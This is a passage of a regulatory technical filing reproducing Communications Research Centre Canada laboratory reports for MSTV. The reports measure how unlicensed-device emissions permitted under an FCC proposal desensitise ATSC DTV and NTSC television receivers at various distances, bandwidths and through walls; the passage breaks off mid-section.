TV channel is at TOV. 20 log r (meter) = Prad (dBm) – PL (dBm) – 20 log F (MHz) + Gant (dBi) + 10 log p + 10 log q + 27.57 In this equation, PL is the power delivered to the load connected to the receiving antenna. If we replace it with the power of the undesired DTV channel that causes TOV for the desired channel (obtained from the tests), then the value of “r” obtained from the above equation represents the distance at which the radiator causes TOV for the desired DTV channel. At distances closer to the radiator, interference to the desired DTV channel would be more and reception failure could be expected. It should be noted, however, that this way of finding “r” is valid only if one radiator is operating in the vicinity of the TV receiver in the whole 6 MHz bandwidth of the corresponding adjacent TV channel. For more than one radiator, their cumulative effect should be taken into account. It should be noted, however, that the cumulative interference of more than one radiator into the desired DTV channel can sometimes be much worse than that anticipated by simple mathematical power adding rules. This is because the aggregate interference actually depends on some non-linear mechanisms. One such mechanism is that due to receiver’s nonlinearity, multiple interferences can result in inter-modulation products. For example, two equal power and equal distance radiators are mathematically expected to create about 3-dB higher interference into the DTV receiver. But if the two radiators are operating on two adjacent channels separated by 6 or 7 DTV channels, then their inter-modulation products can interfere with the IF processing in the receiver. Depending on the specific receiver’s response, this can result in much more than 3-dB degradation. The test results of multiple-interference clearly demonstrate such phenomena. Assuming a point radiator with 100-mW output power and 6-dBi transmitting antenna gain, the maximum radiated power would be 400-mW (26 dBm). For these calculations, Prad is taken to be 26 dBm and to balance such assumption, the DTV receiving antenna gain is taken to be zero (Gant = 0 dBi). Further assuming that the receiving antenna is matched with the load (to which it is connected) and has the same polarization as the incident wave, then 10 log p = 10 log q = 0 and we can rewrite (4.1) as: 20 log r (meter) = 53.57 – PL (dBm) – 20 log F (MHz) © Communications Research Centre Canada Page 49 If the desired channel is fixed and undesired channel is taken from N–15 to N+15, then “20 log F” should be calculated and inserted in the equation for each undesired channel. If undesired channel is fixed and the desired channel is taken from N–15 to N+15, then “20 log F” in the above equations is fixed and equal to “20 log (centre freq. of undesired channel). It should be noted, however, that channels N-15 or N+15 in the tables mean that the undesired channel is taken to be 15 channels less or more than the desired channel respectively. So, in the case of fixed desired (on Ch-32), channels N-15 to N+15 are representing channels 17 to 47. But in the case of fixed undesired (on Ch-46), N-15 is actually channel 61 (as the desired channel is on Ch-61 and undesired channel on Ch-46), and N+15 is Ch-31 (as the desired channel is on Ch-31 and undesired channel is Ch-46). EXHIBIT C Communications Research Centre Canada MSTV Tests – Page 1 Laboratory Evaluation of Unlicensed Devices Interference to NTSC and ATSC DTV Systems in the UHF Band Phase II FINAL REPORT by The Communication Research Centre Canada (CRC) for The Association of Maximum Service Television (MSTV) May 2005 Communications Research Centre Canada MSTV Tests – Page 2 Table of Contents Table of Contents.................................................................................................................2 1. Introduction...................................................................................................................3 2. Laboratory Test Set-up..................................................................................................3 3. Results of the Laboratory Test ......................................................................................7 3.1 De-Sensitisation of DTV Receivers in an Indoor Environment ..............................7 3.2 De-Sensitisation of NTSC Receivers in an Indoor Environment ............................8 ANNEX 1: TEST PROCEDURE........................................................................................9 Communications Research Centre Canada MSTV Tests – Page 3 1. Introduction On May 25, 2004, the FCC released a Notice of Proposed Rule Making (NPRM) that proposes to allow unlicensed radio transmitters to operate in the broadcast television spectrum at locations where that spectrum is not being used. CRC was contracted by MSTV to conduct measurements to investigate the possible impact of interference from the unlicensed devices on the current DTV and NTSC services. Based on the FCC NPRM, the proposed Unlicensed Devices (UD) “radiated emissions that fall outside the TV broadcast channel(s) where the device operates must comply with the radiated emission limits specified in §15.209(a)”. Section 15.209(a) of the FCC rules state that “the radiated emission limits over frequency band of 215-960 MHz is 200 dBµV/m at a measurement distance of 3 meters”. The emission limit is based on measurement employing a CISPR quasi- peak detector with a measurement bandwidth of 120 kHz. Based on the Commission proposal, CRC conducted measurement to characterise the de- sensitisation of ATSC DTV and NTSC receivers from the side-lobe radiated emissions of an unlicensed portable device. Specifically the following laboratory evaluations were performed: - De-sensitisation of DTV receivers in an indoor environment. - De-sensitisation of NTSC receivers in an indoor environment. 2. Laboratory Test Set-up The Unlicensed Devices interference emissions signals were generated using a random noise generator provided by CRC. The UD emission signals were generated by CRC in such a way as to meet the FCC emissions requirement. (i.e. 200 µV/m, or 46 dBµV/m within a 120 kHz bandwidth). The interfering emissions signals were measured at 3 m from the unlicensed devices, within a 120 kHz bandwidth. The UD interfering emitted signal power level was adjusted to 3 dB below the FCC emission requirement to avoid any impact of measurement error on the measurement results. The generated unlicensed devices interference emission signals were filtered and inserted on the desired DTV or NTSC channel. List below is a summary of the relevant parameters and calculations used to conduct these tests: FCC emission limit: 200 µV/m, or 46 dBµV/m within 120 kHz Convert to dBm: ( ) ( Frequency in MHz) P Frequency in MHz dB V m P dBm dBm 20log 5. 29 20log 46 5. 75 − − = − + = − μ Interference signal parameters: • Random Noise filtered with a bandpass filter; • 3-dB bandwidth: 30 MHz. Communications Research Centre Canada MSTV Tests – Page 4 To avoid measurement error, the interference level is set at 3 dB below the FCC specified limit, thus: - For channels 24 to 26, the interference level is: ( ) kHz dBm within P P dBm dBm 120 1. 87 3 20log 539 5. 29 − = − − − = - For channels 52 to 54, the interference level is: ( ) kHz dBm within P P dBm dBm 120 5. 89 3 20log 707 5. 29 − = − − − = Video Monitors ATSC Receivers Vector Signal Analyzer HP 89440A NTSC Televisions Undesired Signal NTSC Source DTV Source NTSC Modulator Drake VM 2860 ATSC Modulator R&S SFQ Desired Signal Attenuator Attenuator 140 dB 140 dB Transmitter Channel Receiver Silver Sensor Silver Sensor Silver Sensor Interference Source Random Noise Generator NOD-5250 Tunable Bandpass Filter K&L 5BT-500/1000 Figure 1. Laboratory Test Set-up for the Evaluation of UD Emissions Impact on TV Signals. In the above calculation, a simple dipole antenna is assumed. The emission limit field strength is converted into signal power (dBm). In the laboratory test, the interference power level is adjusted by varying the transmission power. The receiving power calibration is done at 3 meters from the emission point for the power levels calculated above. The laboratory set-up for the evaluation of the ATSC 8-VSB receiver is presented in Figure 1. The set-up is divided into three sections: Transmitter, Channel and Receiver. The laboratory measurements were conducted at a distance between the UD and the DTV or NTSC receivers of 3 meters. The resulting receiver de-sensitisation measurement was recorded. The test procedures are attached (Annex 1). Communications Research Centre Canada MSTV Tests – Page 5 The Threshold of Visibility (TOV) was recorded for viewing DTV pictures over a 20 seconds period. The ITU-R Grade 3 performance (slightly annoying audio, video, and colour) for NTSC was recorded. The power levels recorded were in 1-dB step-size. The tests were conducted using one video sequence for DTV and one video test pattern for NTSC (colour bars). The tests investigated the de-sensitisation effects due to UD interference without and with existing off-air interference. The tests were done on Off-Air Channels 52 to 54 and 24 to 26. As a reference, Figure 2 and 3 show the off-air spectrum plot of 698-716 MHz and 530-548 MHz. It is noteworthy that there is no other interference source detected in that spectrum band of Figure 2. Figure 3 shows an existing NTSC signal of -57.0 dBm peak power on channel 24. An UD interference signals were used with a 3 dB bandwidths of 30 MHz. The spectrums of the signals are presented in Figures 4 and 5. Based on the spectrum plots, there is little multipath distortion at a 3 meters site. Communications Research Centre Canada MSTV Tests – Page 6 Frequency (MHz) 698 700 702 704 706 708 710 712 714 716 Amplitude (dBm) -110 -100 -90 -80 -70 -60 -50 -40 Frequency (MHz) 530 532 534 536 538 540 542 544 546 548 Amplitude (dBm) -110 -100 -90 -80 -70 -60 -50 -40 Figure 2. Off-Air Spectrum Plots of Channels 52-54 (698-716 MHz) Figure 3. Off-Air Spectrum Plots of Channels 24-26 (530-548 MHz) Frequency (MHz) 686 692 698 704 710 716 722 728 Amplitude (dBm) -110 -100 -90 -80 -70 -60 -50 -40 Frequency (MHz) 686 692 698 704 710 716 722 728 Amplitude (dBm) -110 -100 -90 -80 -70 -60 -50 -40 Figure 4. Spectrum of the Filtred Random Noise Signal Source Figure 5. Spectrum of the Filtred Random Noise Signal Received at 3 Meters Communications Research Centre Canada MSTV Tests – Page 7 3. Results of the Laboratory Test The results of the following laboratory experiments listed below are presented in this section: - De-sensitisation of DTV receivers in an indoor environment. - De-sensitisation of NTSC receivers in an indoor environment. 3.1 De-Sensitisation of DTV Receivers in an Indoor Environment The DTV signal and the UD sideband signals were transmitted and received in the same room. The calibration was done at a distance of 3 meters from the DTV receiver as specified by the FCC NPRM and explained in the test procedure in Annex 1. For channels 52-54, the interference signal power was adjusted to obtain -89.5 dBm/120 kHz at 3 meters and for channels 24-26, the interference signal power was adjusted to obtain -87.1 dBm/120 kHz at 3 meters. Only one DTV receiver was used in these tests. The tests were conducted on Off-Air channels 52-54 (698 – 716 MHz) without any external off- air interference. The tests were also conducted on Off-Air channels 24-26 (530 – 548 MHz) with an existing NTSC signal. The results are presented in Table 1 and 2 for the tests conducted without and with external interference respectively. Table 1. De-Sensitisation of DTV Receiver #1 at 3 Meters without external interference Channel 52 53 54 Rx Sensitivity -76.7 dBm -78.5 dBm -78.8 dBm De-Sensitisation 20.5 dB 21.0 dB 21.0 dB Table 2. De-Sensitisation of DTV Receiver #1 at 3 Meters with external interference Channel 24* 25 26 Rx Sensitivity -59.3 dBm -73.3 dBm -78.1 dBm De-Sensitisation 9.5 dB 18.5 dB 22.5 dB *: The existing interference is a NTSC signal of -57.0 dBm peak power. It was noticed that the receiver sensitivity varies in a +/-1 dB range for different test points. This is attributed to one or all of these factors: multipath distortion, noise floor variation, tuner performance, and other interference mechanisms. It was also observed that signal reflection within the building created standing waves. The result of this phenomenon was that the received signal could be up to 3 dB higher than what it would be for free-space propagation. There were also signal “nulls” in the room, which could result in signal level drops of several dB over small changes in location. Communications Research Centre Canada MSTV Tests – Page 8 3.2 De-Sensitisation of NTSC Receivers in an Indoor Environment The NTSC and the interference signals were transmitted and received in the same room. The calibration was done at 3m as explained in the test procedure in Annex 1. For channels 52-54, the interference signal power was adjusted to obtain -89.5 dBm/120 kHz at 3 meters and for channels 24-26, the interference signal power was adjusted to obtain -87.1 dBm/120 kHz at 3 meters. The de-sensitisation tests were carried out on Off-Air channels 52-54 (698 – 716 MHz) without any external off-air interference. The tests were also conducted on Off-Air channels 24-26 (530 – 548 MHz) with an existing NTSC signal. The results are presented in Tables 3 and 4 for tests conducted without and with external interference respectively. Table 3. De-Sensitisation of NTSC Receiver #1 at 3 Meters without external interference Channel 52 53 54 Rx Sensitivity -61.0 dBm -60.1 dBm -62.3 dBm De-Sensitisation 23.4 dB 23.2 dB 25.1 dB Table 4. De-Sensitisation of NTSC Receiver #1 at 3 Meters with external interference Channel 24* 25 26 Rx Sensitivity N/A -60.6 dBm -60.0 dBm De-Sensitisation N/A 25.5 dB 24.6 dB *: The existing interference is a NTSC signal of -57.0 dBm peak power. The test results show that there is more de-sensitisation for NTSC than that of DTV. This is most likely because the NTSC system requires a higher S/N to operate. But for demonstration at FCC, we recommend using DTV, since the NTSC test using CCIR Grade 3 has a very soft threshold and very difficult for ordinary people to judge. Communications Research Centre Canada MSTV Tests – Page 9 ANNEX 1: TEST PROCEDURE Test Procedure for Unlicensed Devices Interference Signal Emissions into the ATSC DTV and NTSC Channel. Set Up: • Select an RF channel between CH14 and 69. - Make sure there are minimum off-air interference in co- and first adjacent channels. • Interference emissions signals: - Filtered random noise, between 18 and 35 MHz BW. • Interference signal power level set up: - FCC emission requirement: 200 µV/m, or 46 dBµV/m within a 120 kHz BW. - Convert to dBm: P(dBm) = -75.5 + dBµV/m – 20 log(Frequency in MHz) - The emission signal level should be measured at 3m from the unlicensed devices, within a 120 kHz BW. - The signal level should be 3 dB below the above calculated emission level P(dBm) to avoid possible measurement errors. Since allowed interference signal power is calculated and fed to the receiver directly, the type of antenna used for transmission and reception is irrelevant. • Wanted signal: - ATSC and NTSC. - TOV, for DTV, and ITU-R Grad 3, for NTSC, are used as the test threshold. - Possible test point: 3m, 12m and 18m away from the unlicensed devices. - Tests can also be done with signals transmitted thought a wall. - Television channel multipath distortion should be minimum. DTV TEST 1. Test at 3 meters with filtered random noise interference emissions signals: • At 3m, measure the off-air interference level (co- and first adjacent-channels), and the equipment noise level in 6 MHz and in 120 kHz bandwidth; • Adjust interference emission signal power level, measured 3m away, to be P(dBm) – 3 dB over the 120 kHz BW; • Turn off the interference, transmit ATSC DTV, and find TOV, record the transmitted signal power level in 6 MHz and in 120 kHz bandwidth; • Turn on the interference emission signal. If DTV reception is not possible, increase the DTV signal power level until TOV, record the DTV Tx signal power level in 6 MHz and 120 kHz bandwidth. The difference between the DTV signal power level with and without the interference emission signal is the receiver de-sensitisation. 2. Test at 12 meters: Communications Research Centre Canada MSTV Tests – Page 10 • Keep the interference emission signal power unchanged and moves the test point to 12m. • Repeat the 3m test. • The result will be the de-sensitisation at 12m. 3. Test at 24 meters: • Keep the interference emission signal power unchanged and moves the test point to 24m, • Repeat the 3m test. • The result will be the de-sensitisation at 24m. NTSC TEST • Keep the interference emission signal power unchanged, repeat test at 6m, and 18m with NTSC as the wanted signal. • For narrowband interference test, the interference emission signal should be transmitted at several in-band frequency locations across 6 MHz channel. • NTSC signal power is measured as peak average power. EXHIBIT D Communications Research Centre Canada MSTV Tests – Page 1 Laboratory Evaluation of Unlicensed Devices Interference to NTSC and ATSC DTV Systems in the UHF Band REPORT by The Communication Research Centre Canada (CRC) for The Association of Maximum Service Television (MSTV) November 29, 2004 Communications Research Centre Canada MSTV Tests – Page 2 Table of Contents Table of Contents.............................................................................................................................................2 Executive Summary.........................................................................................................................................3 1. Introduction .............................................................................................................................................4 2. Laboratory Test Set-up ............................................................................................................................4 3. Results Of The Laboratory Test.............................................................................................................10 3.1 De-Sensitisation of DTV Receivers In An Indoor Environment ...................................................10 3.2 De-Sensitisation of DTV Receivers with UD Sideband Signals Transmitted Through A Wall. ...11 3.3 De-Sensitisation of NTSC Receivers in an Indoor Environment...................................................12 3.4 De-Sensitisation of NTSC Receivers with the Narrowband Signal Transmitted Across NTSC Band....................................................................................................................................13 3.5 Cable Ingress Created by the UD Sideband Signals......................................................................15 4. Findings & Observations.......................................................................................................................16 ANNEX 1: TEST PROCEDURE..................................................................................................................17 ANNEX 2: LIST OF RECEIVERS...............................................................................................................19 ANNEX 3: OFFICE DRY WALL AND PHOTOS OF TEST EQUIPMENT..............................................20 Communications Research Centre Canada MSTV Tests – Page 3 Executive Summary This report presents the results of measurement made to assess the interference potential to DTV and NTSC television reception from the side-lobe emissions of an Unlicensed Device (UD) operating in the UHF band, which comply with the Section §15.209(a) of the FCC Rules. Section §15.209 (a) of the FCC Rules specify a radiated emission limit of 200 uV/m at a measurement distance of 3 meters over frequency range of 215-960 MHz. The emission limit is based on measurement employing a International Special Committee on Radio Interference (CISPR) quasi-peak detector with a measurement bandwidth of 120 kHz. In general, today’s ATSC DTV receiver minimum signal level is in the range of –78 dBm to –83 dBm (over 6 MHz BW), which is equivalent to a noise floor of –93 dBm to –98 dBm. Measurement results show that the proposed Unlicensed Device side-lobe emission limit will cause significant de-sensitisation to DTV and NTSC receivers over a wide area. This is because the proposed emission limit is much higher than the receiver equivalent noise floor (–60 dBm to –70 dBm over a 6 MHz BW). The level of de-sensitisation depends on the interference signal power bandwidth, distance to the interference source, receiver performance, and test environment (indoor, outdoor, etc.). Tests were conducted in an indoor environment to determine the desensitisation to digital television reception from unlicensed device side-lobe radiated emissions in the clear and when the side-lobe radiated emissions are transmitted through a wall. The data shows that for a distance of 3 meters, an unlicensed device operating with signal bandwidths of 5.6 MHz and 0.43 MHz will de-sensitise DTV receivers an average of 24.5 dB and 13.8 dB, respectively. Similarly, at a distance of 12 meters, the average de-sensitisation is 15.2 dB and 5.6 dB respectively. At 24 meters, the average de-sensitisation is 11.4 and 4.1 dB respectively. Moreover, even when a dry wall is separating an unlicensed device and a DTV receiver, an average de-sensitisation of 19.7 dB and 15.2 dB were measured at distances 5 and 12 meters respectively, when the unlicensed device is operating with a signal bandwidth 5.6 MHz. Similar test were also conducted for NTSC receivers. The data shows that an even greater desensitisation for NTSC, when compared to DTV. For a wideband interference signal (5.6 MHz) at 18meters from an analog television receiver, assuming ITU-R Grade 3 picture quality, the average desensitisation is 15.3 dB. For a narrowband signal (0.43 MHz), the desensitisation will depend on the location of the interference signal relative to the video and colour carrier of the NTSC signal and generally follows the traditional behaviour of the “S” curve. When placed in the middle of the TV channel, the average de-sensitisation at 18 meters is 5.6 dB. At a 6 meters distance, the desensitisation ranges from 5 dB to 18 dB depending on the location of the interference signal relative to the video and colour carrier of the NTSC signal. If the Threshold Of Visibility (TOV) is used as the picture quality threshold, a 10 dB correction (more desensitisation) should be added over the ITU-R Grade 3 case. The UD could also cause cable ingress, especially for a single shielded RG-59 cable. The ingress level can be up to –44 dBm regardless of whether the cable is terminated or not. Communications Research Centre Canada MSTV Tests – Page 4 1. Introduction On May 25, 2004, the FCC released a Notice of Proposed Rule Making (NPRM) that proposes to allow unlicensed radio transmitters to operate in the broadcast television spectrum at locations where that spectrum is not being used. CRC was contracted by MSTV to conduct measurements to investigate the possible impact of interference from the unlicensed devices on the current DTV and NTSC services. Based on the FCC NPRM, the proposed Unlicensed Devices (UD) “radiated emissions that fall outside the TV broadcast channel(s) where the device operates must comply with the radiated emission limits specified in §15.209(a)”. Section 15.209(a) of the FCC rules state that “the radiated emission limits over frequency band of 215-960 MHz is 200 dBuV/m at a measurement distance of 3 meters”. The emission limit is based on measurement employing a CISPR quasi- peak detector with a measurement bandwidth of 120 kHz. Based on the Commission proposal, CRC conducted measurement to characterise the de- sensitisation of ATSC DTV and NTSC receivers from the side-lobe radiated emissions of an unlicensed portable device. Specifically the following laboratory evaluations were performed: - De-sensitisation of DTV receivers in an indoor environment. - De-sensitisation of DTV receivers with UD sideband signals transmitted through a dry wall. - De-sensitisation of NTSC receivers in an indoor environment. - De-sensitisation of NTSC receivers with the narrowband signal transmitted across the NTSC channel. - Cable ingress created by the UD signals. 2. Laboratory Test Set-up The Unlicensed Devices interference emissions signals were generated using a COFDM modulator provided by CRC. The UD emission signals were generated by CRC in such a way as to meet the FCC emissions requirement. (i.e. 200 uV/m, or 46 dBuV/m within a 120 kHz bandwidth). The interfering emissions signals were measured at 3 m from the unlicensed devices, within a 120 kHz bandwidth. The UD interfering emitted signal power level was adjusted to 3 dB below the FCC emission requirement to avoid any impact of measurement error on the measurement results. The generated unlicensed devices interference emission signals were up-converted, filtered and inserted on the desired DTV or NTSC channel. List below is a summary of the relevant parameters and calculations used to conduct these tests: FCC emission limit: 200 uV/m, or 46 dBuV/m within 120 kHz Convert to dBm: P (dBm) = –75.5 + 46 dBuV/m – 20 log(Frequency in MHz) = –29.5 – 20 log (Frequency in MHz) Interference signal parameters: Communications Research Centre Canada MSTV Tests – Page 5 • Modulation: 64QAM-OFDM; • 3-dB bandwidth: 5.57 MHz (wideband), 1.29 MHz (mediumband), 3 x 0.43 MHz, and 0.43 MHz (narrowband) • Number of OFDM carriers: 5616, 324, 324, and 108; • Guard interval: 1/16; 64QAM modulation. To avoid measurement error, the interference level is set at 3 dB below the FCC specified limit, thus: - For CH-48 (677 MHz), the interference level is –29.5 – 20 log (677) – 3 = –89.1 dBm within 120 kHz. - For CATV CH-66 (477 MHz), the interference level is –29.5 – 20 log (477) – 3 = –86.1 dBm within 120 kHz. (Note: a CATV NTSC modulator is used in the NTSC system test. CATV and off-air TV have different frequency range, but they all use the same 6 MHz NTSC signal. CATV CH-66 is equivalent to UHF off-air Channel 14 and 15.) Video Monitors ATSC Receivers Vector Signal Analyzer HP 89440A NTSC Televisions Undesired Signal NTSC Source DTV Source NTSC Modulator Drake VM 2550A ATSC Modulator R&S SFQ Desired Signal Attenuator Attenuator 140 dB 140 dB Transmitter Channel Receiver Interference Source COFDM Modulator Silver Sensor Silver Sensor Silver Sensor Figure 1 - Laboratory Test Set-up for the Evaluation of UD Emissions Impact on TV Signals. In the above calculation, a simple dipole antenna is assumed. The emission limit field strength is converted into signal power (dBm). In the laboratory test, the interference power level is Communications Research Centre Canada MSTV Tests – Page 6 adjusted by varying the transmission power. The receiving power calibration is done at 3m from the emission point for the power levels calculated above. The laboratory set-up for the evaluation of the ATSC 8-VSB receiver is presented in Figure 1. The set-up is divided into three sections: Transmitter, Channel and Receiver. The laboratory measurements were conducted for distances between the UD and the DTV receivers of 3 m, 12 m and 24 m; for the NTSC case, the distances were 6 m and 18 m. (Note: Since the NTSC signal is more sensitive to interference, the test points for NTSC system is further away than for the DTV system). Tests were also conducted with the undesired signals transmitted through a wall (typical commercial office dry-wall) and the resulting receiver de- sensitisation measurement recorded. The test procedures are attached (Annex 1). The Threshold of Visibility (TOV) was recorded for viewing DTV pictures over a 20 seconds period. The ITU-R Grade 3 performance (slightly annoying audio, video, colour) for NTSC was also recorded. The power levels recorded were in 1-dB step-size. The tests were conducted using one video sequence for DTV and one video test pattern for NTSC (colour bar). The tests investigated the de-sensitisation effects due to UD interference using five different DTV receivers and three different NTSC receivers. The tests were done on Off-Air Channel 48 (674-680 MHz) for DTV. Since only a cable TV NTSC modulator was available, the NTSC tests were performed in the 474 to 480 MHz band (CATV Channel located in the off-air Channel 14 and 15). All NTSC receivers used in the test have cable ready tuner. There are no over-the-air signals on Channel 14 and 15 in the Ottawa area where the tests were conducted. As a reference, Figure 2 shows the off-air spectrum plots of 674-680 MHz and 474-480 MHz. It is noteworthy that there is no other interference source detected in these spectrum bands. Four different UD interference signals were used with a 3 dB bandwidths of 5.6 MHz, 1.3 MHz, 3 x 0.43 MHz and 0.43 MHz. The spectrums of the signals are presented in Figures 3, 4, 5 and 6. Based on the spectrum plots, there is little, if any, multipath distortion at a 3m site. Communications Research Centre Canada MSTV Tests – Page 7 Figure 2. Off-Air Spectrum Plots of 674-680 MHz (DTV Tests) and 474-480 MHz (NTSC Tests) Figure 3. Spectrum of the Wideband Signal with a 3 dB Bandwidth of 5.6 MHz Received at 3 Meters. Communications Research Centre Canada MSTV Tests – Page 8 Figure 4. Spectrum of Mediumband Signals with a 3 dB Bandwidth of 1.3 MHz Received at 3 Meters. Figure 5. Spectrum of 3 x 0.43 MHz Narrowband Signals Distributed over the DTV Channel Received at 3 Meters. Communications Research Centre Canada MSTV Tests – Page 9 Figure 6. Spectrum of the Narrowband Signal with a 3 dB Bandwidth of 0.43 MHz Received at 3 Meters. Communications Research Centre Canada MSTV Tests – Page 10 3. Results Of The Laboratory Test The results of the following laboratory experiments listed below are presented in this section: - De-sensitisation of DTV receivers in an indoor environment. - De-sensitisation of DTV receivers with UD sideband signals transmitted through a dry wall. - De-sensitisation of NTSC receivers in an indoor environment. - De-sensitisation of NTSC receivers with the narrowband signal transmitted across the NTSC channel. - Cable ingress created by the UD signals. 3.1 De-Sensitisation of DTV Receivers In An Indoor Environment The DTV signal and the UD sideband signals were transmitted and received in the same room. The calibration was done at a distance of 3 m from the DTV receiver as specified by the FCC NPRM and explained in the test procedure in Annex 1. The interference signal power was adjusted to obtain -89.1 dBm/120 kHz at 3 meters. For the 5.6 MHz wideband signal, the total interference power can be calculated as –89.1 + 10 log (5.6/0.12) = -72.4 dBm. For the 1.3 MHz and 3 x 0.43 MHz bandwidth signals, the total interference power is –89.1 + 10 log (1.3/0.12) = -78.8 dBm. For the 0.43 MHz narrow-band signal, the total interference power is –89.1 + 10 log (0.43/0.12) = -83.6 dBm. In all cases, the interference power levels were more than 50 dB below the recommended portable UD indoor power level at 3m reference point. A total of five DTV receivers were used in these tests. The tests were conducted on Off-Air channel 48 (674 – 680 MHz). The results are presented in Table 1, 2 and 3 for the tests conducted at 3 m, 12 m and 24 m respectively. Table 1. De-Sensitisation of DTV Receivers At 3 Meters. Off-Air Channel 48 DTV Receiver #1 DTV Receiver #2 DTV Receiver #3 DTV Receiver #4 DTV Receiver #5 Rx Sensitivity -80.5 dBm -81.0 dBm -81.9 dBm -80.6 dBm -80.1 dBm De-sensitisation at 3 meters Wideband 24.0 dB 24.3 dB 26.6 dB 24.2 dB 23.7 dB Mediumband 17.7 dB 18.6 dB 21.7 dB 17.7 dB 16.9 dB 3 x Narrowband* 18.1 dB 18.6 dB 22.5 dB 18.3 dB 17.2 dB Narrowband 12.7 dB 14.2 dB 17.4 dB 12.7 dB 11.9 dB *Three 0.43 MHz carriers distributed over the 6 MHz TV channel Table 2. De-Sensitisation of DTV Receivers At 12 Meters. Communications Research Centre Canada MSTV Tests – Page 11 Off-Air Channel 48 DTV Receiver #1 DTV Receiver #2 DTV Receiver #3 DTV Receiver #4 DTV Receiver #5 Sensitivity -81.3 dBm -82.2 dBm -84.9 dBm -82.6 dBm -85.0 dBm De-sensitisation at 12 meters Wideband 13.6 dB 14.5 dB 15.8 dB 15.5 dB 16.4 dB Mediumband 8.8 dB 9.2 dB 13.2 dB 9.6 dB 10.9 dB 3 x Narrowband* 7.4 dB 7.4 dB 11.7 dB 8.7 dB 9.6 dB Narrowband 3.9 dB 4.9 dB 7.9 dB 4.9 dB 6.4 dB *Three 0.43 MHz carriers distributed over the 6 MHz TV channel Table 3. De-Sensitisation of DTV Receivers At 24 Meters. Off-Air Channel 48 DTV Receiver #1 DTV Receiver #2 DTV Receiver #3 DTV Receiver #4 DTV Receiver #5 Sensitivity -81.4 dBm -79.2 dBm -84.3 dBm -83.2 dBm -83.9 dBm De-sensitisation at 24 meters Wideband 10.4 dB 8.3 dB 14.1 dB 12.1 dB 12.1 dB Mediumband 6.9 dB 4.7 dB 11.9 dB 8.3 dB 8.9 dB Narrowband 2.2 dB 1.4 dB 7.2 dB 4.9 dB 4.9 dB It was noticed that the receiver sensitivity varies in a +/-1 dB range for different test points. This is attributed to one or all of these factors: multipath distortion, noise floor variation and other interference mechanisms. It was also noticed that DTV Receiver #3 always showed a higher de- sensitisation than other DTV receivers. This is attributed to Receiver 3 having a more sensitive tuner and being more susceptible to the multipath distortion (requiring a higher S/N under multipath environment). It was also observed that signal reflection within the building created standing waves. The result of this phenomenon was that the received signal could be up to 3 dB higher than what it would be for free-space propagation. There were also signal “nulls” in the room, which could result in signal level drops of several dB over small changes in location. Moreover, multipath effects were observed to increase as the distance from the transmitter was increased. 3.2 De-Sensitisation of DTV Receivers by UD Sideband Signals Transmitted Through A Wall. In these tests, the interference signals were transmitted through one wall before reaching the DTV receivers. The walls are typical interior office fire protective dry wall. The calibration was done at 3 m as explained in the test procedure in Annex 1. Tests were conducted on Off-Air channel 48 (674 – 680 MHz). The interfering signal power was adjusted to Communications Research Centre Canada MSTV Tests – Page 12 be at -89.1 dBm/120 kHz at 3 meters from the receivers. The receivers tested using this interference source are listed in Annex 2. The results of the test using the various DTV receivers each separated from the interference source by one wall such that the DTV receiver was 5 m from the interference source which was 3m from the wall are presented in Table 4. Table 4. De-Sensitisation of DTV Receivers for Interference Signals Transmitted through One Dry Wall at a Distance of 5 Meters.. Off-Air Channel 48 DTV Receiver #1 DTV Receiver #2 DTV Receiver #3 DTV Receiver #4 DTV Receiver #5 Sensitivity -80.2 dBm -81.5 dBm -82.8 dBm -80.7 dBm -82.7 dBm De-sensitisation at 5 meters (1 wall) Wideband 18.1 dB 19.4 dB 21.6 dB 18.6 dB 20.9 dB Mediumband 11.6 dB 12.6 dB 15.8 dB 11.9 dB 13.6 dB Narrowband 7.6 dB 8.8 dB 12.6 dB 7.5 dB 9.1 dB Similarly, tests were conducted at 12 m the results of which are shown in Table 5. For this case the test were conducted with and without a wall between the interference source and the DTV receivers. The test results show that the interference signal is attenuated by about 3-6 dB, when going through a typical fire rated office drywall. Table 5. De-Sensitisation of DTV Receivers for Interference Signals Transmitted and Not Transmitted Through One Dry Wall at a Distance of 12 Meters. Off-Air Channel 48 DTV Receiver #1 DTV Receiver #2 DTV Receiver #3 DTV Receiver #4 DTV Receiver #5 Sensitivity -80.8 dBm -81.1 dBm -82.4 dBm -82.0 dBm -81.1 dBm De-sensitisation at 12 meters (No wall) Wideband 13.6 dB 14.6 dB 15.8 dB 15.5 dB 16.4 dB De-sensitisation at 12 meters (1 wall) Wideband 11.3 dB 10.6 dB 13.1 dB 13.1 dB 11.0 dB 3.3 De-Sensitisation of NTSC Receivers in an Indoor Environment The NTSC and the interference signals were transmitted and received in the same room. The calibration was done at 3m as explained in the test procedure in Annex 1. The interference signal Communications Research Centre Canada MSTV Tests – Page 13 power was adjusted to obtain -86.1 dBm/120 kHz at 3 meters. The lists of the NTSC receivers used in the tests are also presented in Annex 2. The de-sensitisation tests were carried out on CATV channel 66 (474 – 480 MHz) equivalent to UHF off-air Channel 14 and 15. (Note: a cable TV NTSC modulator was used in the test, as an off-air NTSC modulator was not available. However, this should have no impact on the test results, since there is only a slight frequency range difference, the signal modulation is the same). The results are presented in Tables 6 and 7 for tests conducted for distance of 6m and 18m respectively. The greater than sign “>” indicates that de-sensitisation was beyond the limits of the test-bed. Table 6. De-Sensitisation of NTSC Receivers at 6 Meters. NTSC Receiver #1 NTSC Receiver #2 NTSC Receiver #3 CATV Channel 66 TOV ITU-R Grade 3 TOV ITU-R Grade 3 TOV ITU-R Grade 3 Sensitivity -51.5 dBm -61.5 dBm -41.5 dBm -51.5 dBm -45.5 dBm -58.5 dBm De-sensitisation at 6 meters Wideband > 23 dB 26 dB > 13 dB 14 dB > 17 dB 21 dB Narrowband 14 dB 15 dB 2 dB 3 dB 14 dB 14 dB Table 7. De-Sensitisation of NTSC Receivers at 18 Meters. NTSC Receiver #1 NTSC Receiver #2 NTSC Receiver #3 CATV Channel 66 TOV ITU-R Grade 3 TOV ITU-R Grade 3 TOV ITU-R Grade 3 Sensitivity -51.5 dBm -61.5 dBm -41.5 dBm -51.5 dBm -45.5 dBm -58.5 dBm De-sensitisation at 18 meters Wideband > 8 dB 18 dB > 4 dB 12 dB > 7 dB 16 dB Narrowband 8 dB 8 dB 2 dB 1 dB 7 dB 8 dB The test results show that there is more desensitisation for NTSC than that of DTV. This is most likely because the NTSC system requires a higher S/N to operate. The test also shows that the NTSC Receiver 2 requires 5-10 dB more power (sensitivity) than Receiver 1 and 3 for TOV and ITU-R Grade 3. 3.4 De-Sensitisation of NTSC Receivers with the Narrowband Signal Transmitted Across NTSC Band The 